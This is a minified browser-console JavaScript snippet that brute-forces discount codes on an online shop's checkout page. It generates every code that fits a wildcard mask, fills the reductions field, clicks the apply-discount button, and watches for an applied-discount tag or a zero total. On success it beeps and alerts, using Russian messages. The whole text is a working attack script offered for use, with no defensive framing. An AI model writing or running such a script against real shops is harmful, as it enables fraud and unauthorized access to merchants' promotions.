(async()=>{const MASK="AEYpf-erx%%$*%db",BASE_DELAY=1400,INPUT_SEL='input[name="reductions"]',BTN_SEL='button[data-event-name="apply_discount"]',POOLS={'*':'aceimnorsuvwxz'.split(''),'%':'bdfhklt0123456789'.split(''),'$':'gjpqy'.split('')},pools=MASK.split('').map(c=>POOLS[c]||[c]),sleep=ms=>new Promise(r=>setTimeout(r,ms)),setValue=(el,val)=>{const s=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set;s.call(el,val);el.dispatchEvent(new Event('input',{bubbles:true}));el.dispatchEvent(new Event('change',{bubbles:true}));},isBusy=()=>{const b=document.querySelector(BTN_SEL),sp=document.querySelector('.spinner, [aria-busy="true"]');return(b&&b.getAttribute('aria-busy')==='true')||Boolean(sp);},isSuccess=()=>{const tag=document.querySelector('[data-discount-pill], [data-reduction-applied], .tags-list, [id*="applied-reduction"]');const priceMatch=document.body.innerText.match(/Всего[\s\S]{0,50}0[,.]00/i);return Boolean(tag)||Boolean(priceMatch);},beep=()=>{try{const ctx=new(window.AudioContext||window.webkitAudioContext)(),o=ctx.createOscillator();o.connect(ctx.destination);o.frequency.value=880;o.start();setTimeout(()=>o.stop(),1000);}catch(e){}};function* generate(arr,i=0,curr=""){if(i===arr.length){yield curr;return;}for(const ch of arr[i])yield* generate(arr,i+1,curr+ch);}let count=1;for(const combo of generate(pools)){const input=document.querySelector(INPUT_SEL),btn=document.querySelector(BTN_SEL);if(!input||!btn){console.error('Элементы не найдены');break;}let wait=0;while(isBusy()&&wait++<30)await sleep(500);setValue(input,combo);await sleep(150);btn.removeAttribute('disabled');btn.click();console.log(`[${count++}] ${combo}`);await sleep(600);while(isBusy())await sleep(300);if(isSuccess()){beep();console.log(`%c[!!!] УСПЕХ: ${combo}`,'color:#0f0;font-size:20px;font-weight:bold;');alert(`УСПЕХ! Код: ${combo}`);break;}await sleep(BASE_DELAY);}})();